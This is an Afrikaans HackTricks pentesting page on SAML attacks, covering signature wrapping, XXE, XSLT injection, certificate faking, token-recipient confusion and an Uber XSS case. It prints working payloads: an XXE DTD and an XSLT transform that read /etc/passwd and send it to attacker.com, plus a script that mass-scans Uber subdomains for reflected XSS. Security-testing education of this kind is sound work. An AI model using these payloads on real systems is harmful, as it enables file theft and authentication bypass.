hacktricks/pentesting-web/saml-attacks/README.md

SAML Aanvalle

SAML Aanvalle

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
• Kry die amptelike PEASS & HackTricks swag
• Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
• Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.

Basiese Inligting

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Gereedskap

SAMLExtractor: 'n Gereedskap wat 'n URL of 'n lys van URL kan neem en SAML-verbruik-URL teruggee.

XML rondreis

In XML word die ondertekende gedeelte van die XML in die geheue gestoor, waarna enige enkodering/ontkodering uitgevoer word en die handtekening nagegaan word. Ideaal gesproke behoort daardie enkodering/ontkodering nie die data te verander nie, maar gebaseer op daardie scenario, kan die data wat nagegaan word en die oorspronklike data verskil.

Byvoorbeeld, kyk na die volgende kode:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Die uitvoer van die program teen REXML 3.2.4 of vroeër sal die volgende uitset gee:

First child in original doc: Y
First child after round-trip: Z

Dit is hoe REXML die oorspronklike XML-dokument van die program hierbo gesien het:

En dit is hoe dit dit gesien het na 'n ronde van ontleding en serialisering:

Vir meer inligting oor die kwesbaarheid en hoe om dit te misbruik:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

XML-handtekeningverwikkelingsaanvalle

In XML-handtekeningverwikkelingsaanvalle (XSW) maak aanvallers gebruik van 'n kwesbaarheid wat ontstaan wanneer XML-dokumente deur twee afsonderlike fases verwerk word: handtekeningvalidering en funksie-aanroeping. Hierdie aanvalle behels die verandering van die XML-dokumentstruktuur. Spesifiek voeg die aanvaller vervalsde elemente in wat nie die geldigheid van die XML-handtekening benadeel nie. Hierdie manipulasie het ten doel om 'n diskrepansie te skep tussen die elemente wat deur die toepassingslogika ontleed word en dié wat deur die handtekeningverifikasiemodule nagegaan word. As gevolg hiervan, terwyl die XML-handtekening tegnies geldig bly en verifikasie slaag, verwerk die toepassingslogika die bedrieglike elemente. Gevolglik omseil die aanvaller effektief die XML-handtekening se integriteitsbeskerming en oorsprongverifikasie, wat die inspuiting van willekeurige inhoud sonder opsporing moontlik maak.

Die volgende aanvalle is gebaseer op hierdie blogpos en hierdie artikel. Kyk dus daarna vir verdere besonderhede.

XSW #1

• Strategie: 'n Nuwe hoofelement wat die handtekening bevat, word bygevoeg.
• Impak: Die validator kan verward raak tussen die wettige "Response -> Assertion -> Subject" en die aanvaller se "bose nuwe Response -> Assertion -> Subject", wat lei tot data-integriteitsprobleme.

XSW #2

• Verskil van XSW #1: Maak gebruik van 'n losgekoppelde handtekening in plaas van 'n omhullende handtekening.
• Impak: Die "bose" struktuur, soortgelyk aan XSW #1, probeer om die besigheidslogika na die integriteitskontrole te mislei.

XSW #3

• Strategie: 'n Bose Assertion word op dieselfde hiërargiese vlak as die oorspronklike assertion geskep.
• Impak: Dit beoog om die besigheidslogika te verwar deur die gebruik van die skadelike data.

XSW #4

• Verskil van XSW #3: Die oorspronklike Assertion word 'n kind van die gedupliseerde (bose) Assertion.
• Impak: Soortgelyk aan XSW #3, maar verander die XML-struktuur meer aggressief.

XSW #5

• Unieke Aspek: Noch die Handtekening, noch die oorspronklike Assertion voldoen aan standaardkonfigurasies (omhullend/omhullend/losgekoppel).
• Impak: Die gekopieerde Assertion omhul die Handtekening en wysig die verwagte dokumentstruktuur.

XSW #6

• Strategie: Soortgelyke plasing as XSW #4 en #5, maar met 'n draai.
• Impak: Die gekopieerde Assertion omhul die Handtekening, wat dan die oorspronklike Assertion omhul, en skep 'n geneste misleidende struktuur.

XSW #7

• Strategie: 'n Extensions-element word ingevoeg met die gekopieerde Assertion as 'n kind.
• Impak: Dit maak gebruik van die minder beperkende skema van die Extensions-element om skemasvalidasie-teenvoeters te omseil, veral in biblioteke soos OpenSAML.

XSW #8

• Verskil van XSW #7: Maak gebruik van 'n ander minder beperkende XML-element vir 'n variant van die aanval.
• Impak: Die oorspronklike Assertion word 'n kind van die minder beperkende element, wat die struktuur wat in XSW #7 gebruik word, omkeer.

Hulpmiddel

Jy kan die Burp-uitbreiding SAML Raider gebruik om die versoek te ontleding, enige XSW-aanval wat jy kies toe te pas en dit te lanceer.

XXE

As jy nie weet watter soort aanvalle XXE is nie, lees asseblief die volgende bladsy:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

SAML-responsies is gekomprimeerde en base64-geënkripteerde XML-dokumente en kan vatbaar wees vir XML External Entity (XXE) aanvalle. Deur die XML-struktuur van die SAML-responsie te manipuleer, kan aanvallers probeer om XXE-kwesbaarhede uit te buit. Hier is hoe so 'n aanval gevisualiseer kan word:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Gereedskap

Jy kan ook die Burp-uitbreiding SAML Raider gebruik om die POC te genereer van 'n SAML-versoek om te toets vir moontlike XXE-gebreklikhede en SAML-gebreklikhede.

Kyk ook na hierdie praatjie: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Vir meer inligting oor XSLT gaan na:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Extensible Stylesheet Language Transformations (XSLT) kan gebruik word om XML-dokumente in verskillende formate soos HTML, JSON of PDF te omskep. Dit is belangrik om daarop te let dat XSLT-transformasies uitgevoer word voordat die digitale handtekening geverifieer word. Dit beteken dat 'n aanval suksesvol kan wees selfs sonder 'n geldige handtekening; 'n self-ondertekende of ongeldige handtekening is voldoende om voort te gaan.

Hier kan jy 'n POC vind om vir hierdie soort kwesbaarhede te toets, in die hacktricks-bladsy wat aan die begin van hierdie afdeling genoem word, kan jy payloads vind.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Hulpmiddel

Jy kan ook die Burp-uitbreiding SAML Raider gebruik om die POC te genereer van 'n SAML-versoek om te toets vir moontlike XSLT-gevoelighede.

Kyk ook na hierdie praatjie: https://www.youtube.com/watch?v=WHn-6xHL7mI

Uitsluiting van XML-handtekening

Die Uitsluiting van XML-handtekening neem kennis van die gedrag van SAML-implementasies wanneer die Handtekening-element nie teenwoordig is nie. As hierdie element ontbreek, kan handtekeningvalidering nie plaasvind nie, wat dit kwesbaar maak. Dit is moontlik om dit te toets deur die inhoud te verander wat gewoonlik deur die handtekening geverifieer word.

Hulpmiddel

Jy kan ook die Burp-uitbreiding SAML Raider gebruik. Onderbreek die SAML-reaksie en klik op Verwyder Handtekeninge. Deur dit te doen, word alle Handtekening-elemente verwyder.

Met die handtekeninge verwyder, laat die versoek toe om na die teiken voort te gaan. As die Handtekening nie vereis word deur die Diens nie

Sertifikaatvervalsing

Sertifikaatvervalsing

Sertifikaatvervalsing is 'n tegniek om te toets of 'n Diensverskaffer (SP) behoorlik verifieer dat 'n SAML-boodskap deur 'n vertroude Identiteitsverskaffer (IdP) onderteken is. Dit behels die gebruik van 'n *self-ondertekende sertifikaat om die SAML-reaksie of -bewering te onderteken, wat help om die vertrouensvalideringsproses tussen SP en IdP te evalueer.

Hoe om Sertifikaatvervalsing uit te voer

Die volgende stappe skets die proses met behulp van die SAML Raider Burp-uitbreiding:

1. Onderbreek die SAML-reaksie.
2. As die reaksie 'n handtekening bevat, stuur die sertifikaat na SAML Raider Certs deur die Stuur Sertifikaat na SAML Raider Certs-knoppie te gebruik.
3. Kies in die SAML Raider Sertifikate-tabblad die ingevoerde sertifikaat en klik op Stoor en Skep Self-ondertekening om 'n self-ondertekende kloon van die oorspronklike sertifikaat te skep.
4. Gaan terug na die onderskepte versoek in Burp se Proksi. Kies die nuwe self-ondertekende sertifikaat uit die XML-handtekening-keuslys.
5. Verwyder enige bestaande handtekeninge met die Verwyder Handtekeninge-knoppie.
6. Onderteken die boodskap of bewering met die nuwe sertifikaat deur die (Her-)Onderteken Boodskap of (Her-)Onderteken Bewering-knoppie, soos van toepassing.
7. Stuur die ondertekende boodskap voort. Suksesvolle outentifikasie dui daarop dat die SP boodskappe aanvaar wat deur jou self-ondertekende sertifikaat onderteken is, wat potensiële kwesbaarhede in die valideringsproses van die SAML-boodskappe blootstel.

Verwarring van Tokenontvanger / Verwarring van Diensverskaffersteiken

Verwarring van Tokenontvanger en Verwarring van Diensverskaffersteiken behels die toets of die Diensverskaffer die bedoelde ontvanger van 'n reaksie korrek valideer. In beginsel moet 'n Diensverskaffer 'n outentiseringsreaksie verwerp as dit bedoel was vir 'n ander verskaffer. Die kritieke element hier is die Ontvanger-veld, wat binne die SubjectConfirmationData-element van 'n SAML-reaksie gevind word. Hierdie veld spesifiseer 'n URL wat aandui waar die Bewering gestuur moet word. As die werklike ontvanger nie ooreenstem met die bedoelde Diensverskaffer nie, moet die Bewering as ongeldig beskou word.

Hoe dit werk

Om 'n SAML Tokenontvangerverwarring (SAML-TRC) aanval uitvoerbaar te maak, moet sekere voorwaardes voldoen word. Eerstens moet daar 'n geldige rekening wees by 'n Diensverskaffer (verwys as SP-Legit). Tweedens moet die geteikende Diensverskaffer (SP-Teiken) tokens van dieselfde Identiteitsverskaffer aanvaar wat SP-Legit bedien.

Die aanvalproses is eenvoudig onder hierdie voorwaardes. 'n Outentieke sessie word geïnisieer met SP-Legit via die gedeelde Identiteitsverskaffer. Die SAML-reaksie van die Identiteitsverskaffer na SP-Legit word onderskep. Hierdie onderskepte SAML-reaksie, oorspronklik bedoel vir SP-Legit, word dan na SP-Teiken omgelei. Sukses in hierdie aanval word gemeet deur SP-Teiken wat die Bewering aanvaar en toegang tot hulpbronne verleen onder dieselfde rekeningnaam wat vir SP-Legit gebruik is.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS in Uitlogfunksionaliteit

Die oorspronklike navorsing kan deur middel van hierdie skakel bereik word.

Tydens die proses van gidsbrutekragtiging is 'n uitlogbladsy ontdek by:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

By die toegang tot hierdie skakel, het 'n herleiding plaasgevind na:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Dit het aan die lig gekom dat die base parameter 'n URL aanvaar. Met hierdie in gedagte het die idee ontstaan om die URL te vervang met javascript:alert(123); in 'n poging om 'n XSS (Cross-Site Scripting) aanval te begin.

Massa Uitbuiting

Volgens hierdie navorsing:

Die SAMLExtractor hulpmiddel is gebruik om subdomeine van uberinternal.com te analiseer vir domeine wat dieselfde biblioteek gebruik. Daarna is 'n skrips ontwikkel om die oidauth/prompt bladsy te teiken. Hierdie skrips toets vir XSS (Cross-Site Scripting) deur data in te voer en te kyk of dit weerspieël word in die uitset. In gevalle waar die inset wel weerspieël word, merk die skrips die bladsy as kwesbaar.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Verwysings

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/\
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
• Kry die amptelike PEASS & HackTricks swag
• Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
• Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.